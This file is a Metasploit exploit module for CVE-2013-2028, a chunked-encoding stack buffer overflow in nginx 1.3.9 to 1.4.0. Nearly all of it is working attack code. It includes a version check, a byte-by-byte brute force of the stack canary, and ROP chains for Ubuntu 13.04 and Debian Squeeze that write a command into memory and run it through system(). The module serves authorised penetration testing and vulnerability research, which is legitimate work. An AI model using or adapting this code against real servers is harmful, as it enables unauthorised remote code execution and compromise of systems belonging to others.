##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Nginx HTTP Server 1.3.9-1.4.0 Chunked Encoding Stack Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in versions 1.3.9 to 1.4.0 of nginx.
          The exploit first triggers an integer overflow in the ngx_http_parse_chunked() by
          supplying an overly long hex value as chunked block size. This value is later used
          when determining the number of bytes to read into a stack buffer, thus the overflow
          becomes possible.
        },
        'Author' => [
          'Greg MacManus', # original discovery
          'hal',              # Metasploit module
          'saelo'             # Metasploit module
        ],
        'DisclosureDate' => '2013-05-07',
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2013-2028'],
          ['OSVDB', '93037'],
          ['URL', 'http://nginx.org/en/security_advisories.html'],
          ['PACKETSTORM', '121560']
        ],
        'Privileged' => false,
        'Payload' => {
          'BadChars' => "\x0d\x0a"
        },
        'Arch' => ARCH_CMD,
        'Platform' => 'unix',
        'Targets' => [
          [
            'Ubuntu 13.04 32bit - nginx 1.4.0', {
              'CanaryOffset' => 5050,
              'Offset' => 12,
              'Writable' => 0x080c7330, # .data from nginx
              :dereference_got_callback => :dereference_got_ubuntu_1304,
              :store_callback => :store_ubuntu_1304,
            }
          ],
          [
            'Debian Squeeze 32bit - nginx 1.4.0', {
              'Offset' => 5130,
              'Writable' => 0x080b4360, # .data from nginx
              :dereference_got_callback => :dereference_got_debian_squeeze,
              :store_callback => :store_debian_squeeze
            }
          ],
        ],

        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      OptPort.new('RPORT', [true, "The remote HTTP server port", 80])
    ])

    register_advanced_options(
      [
        OptInt.new("CANARY", [false, "Use this value as stack canary instead of brute forcing it", 0xffffffff ]),
      ]
    )
  end

  def check
    begin
      res = send_request_fixed(nil)

      if res =~ /^Server: nginx\/(1\.3\.(9|10|11|12|13|14|15|16)|1\.4\.0)/m
        return Exploit::CheckCode::Appears('The target appears to be vulnerable')
      elsif res =~ /^Server: nginx/m
        return Exploit::CheckCode::Detected('The target service was detected')
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      vprint_error("Connection failed")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  #
  # Generate a random chunk size that will always result
  # in a negative 64bit number when being parsed
  #
  def random_chunk_size(bytes = 16)
    return bytes.times.map { (rand(0x8) + 0x8).to_s(16) }.join
  end

  def send_request_fixed(data)
    connect

    request =	"GET / HTTP/1.1\r\n"
    request <<	"Host: #{Rex::Text.rand_text_alpha(16)}\r\n"
    request <<	"Transfer-Encoding: Chunked\r\n"
    request <<	"\r\n"
    request <<	"#{data}"

    sock.put(request)

    res = nil

    begin
      res = sock.get_once(-1, 0.5)
    rescue EOFError => e
      # Ignore
    end

    disconnect
    return res
  end

  def store_ubuntu_1304(address, value)
    chain = [
      0x0804c415, # pop ecx ; add al, 29h ; ret
      address, # address
      0x080b9a38, # pop eax ; ret
      value.unpack('V').first, # value
      0x080a9dce, # mov [ecx], eax ; mov [ecx+4], edx ; mov eax, 0 ; ret
    ]
    return chain.pack('V*')
  end

  def dereference_got_ubuntu_1304
    chain = [
      0x08094129,         # pop esi; ret
      0x080c5090,         # GOT for localtime_r
      0x0804c415,         # pop ecx ; add al, 29h ; ret
      0x001a4b00,         # Offset to system
      0x080c360a,         # add ecx, [esi] ; adc al, 41h ; ret
      0x08076f63,         # push ecx ; add al, 39h ; ret
      0x41414141,         # Garbage return address
      target['Writable'], # ptr to .data where contents have been stored
    ]
    return chain.pack('V*')
  end

  def store_debian_squeeze(address, value)
    chain = [
      0x08050d93,              # pop edx ; add al 0x83 ; ret
      value.unpack('V').first, # value
      0x08067330,              # pop eax ; ret
      address,                 # address
      0x08070e94,              # mov [eax] edx ; mov eax 0x0 ; pop ebp ; ret
      0x41414141,              # ebp
    ]

    return chain.pack('V*')
  end

  def dereference_got_debian_squeeze
    chain = [
      0x0804ab34, # pop edi ; pop ebp ; ret
      0x080B4128 -
        0x5d5b14c4, # 0x080B4128 => GOT for localtime_r; 0x5d5b14c4 => Adjustment
      0x41414141, # padding (ebp)
      0x08093c75,        # mov ebx, edi ; dec ecx ; ret
      0x08067330,        # pop eax # ret
      0xfffb0c80,        # offset
      0x08078a46,        # add eax, [ebx+0x5d5b14c4] # ret
      0x0804a3af,	       # call eax # system
      target['Writable'] # ptr to .data where contents have been stored
    ]
    return chain.pack("V*")
  end

  def store(buf, address, value)
    rop = target['Rop']
    chain = rop['store']['chain']
    chain[rop['store']['address_offset']] = address
    chain[rop['store']['value_offset']] = value.unpack('V').first
    buf << chain.pack('V*')
  end

  def dereference_got
    unless self.respond_to?(target[:store_callback]) and self.respond_to?(target[:dereference_got_callback])
      fail_with(Failure::NoTarget, "Invalid target specified: no callback functions defined")
    end

    buf = ""
    command = payload.encoded
    i = 0
    while i < command.length
      buf << self.send(target[:store_callback], target['Writable'] + i, command[i, 4].ljust(4, ";"))
      i = i + 4
    end

    buf << self.send(target[:dereference_got_callback])

    return buf
  end

  def exploit
    data = random_chunk_size(1024)

    if target['CanaryOffset'].nil?
      data << Rex::Text.rand_text_alpha(target['Offset'] - data.size)
    else

      if not datastore['CANARY'] == 0xffffffff
        print_status("Using 0x%08x as stack canary" % datastore['CANARY'])
        canary = datastore['CANARY']
      else
        print_status("Searching for stack canary")
        canary = find_canary

        if canary.nil? || canary == 0x00000000
          fail_with(Failure::Unknown, "#{peer} - Unable to find stack canary")
        else
          print_good("Canary found: 0x%08x\n" % canary)
        end
      end

      data <<	Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)
      data <<	[canary].pack('V')
      data << Rex::Text.rand_text_hex(target['Offset'])

    end

    data << dereference_got

    begin
      send_request_fixed(data)
    rescue Errno::ECONNRESET => e
      # Ignore
    end
    handler
  end

  def find_canary
    # First byte of the canary is already known
    canary = "\x00"

    print_status("Assuming byte 0 0x%02x" % 0x00)

    # We are going to bruteforce the next 3 bytes one at a time
    3.times do |c|
      print_status("Brute forcing byte #{c + 1}")

      0.upto(255) do |i|
        data =	random_chunk_size(1024)
        data <<	Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)
        data <<	canary
        data << i.chr

        unless send_request_fixed(data).nil?
          print_good("Byte #{c + 1} found: 0x%02x" % i)
          canary << i.chr
          break
        end
      end
    end

    if canary == "\x00"
      return nil
    else
      return canary.unpack('V').first
    end
  end
end
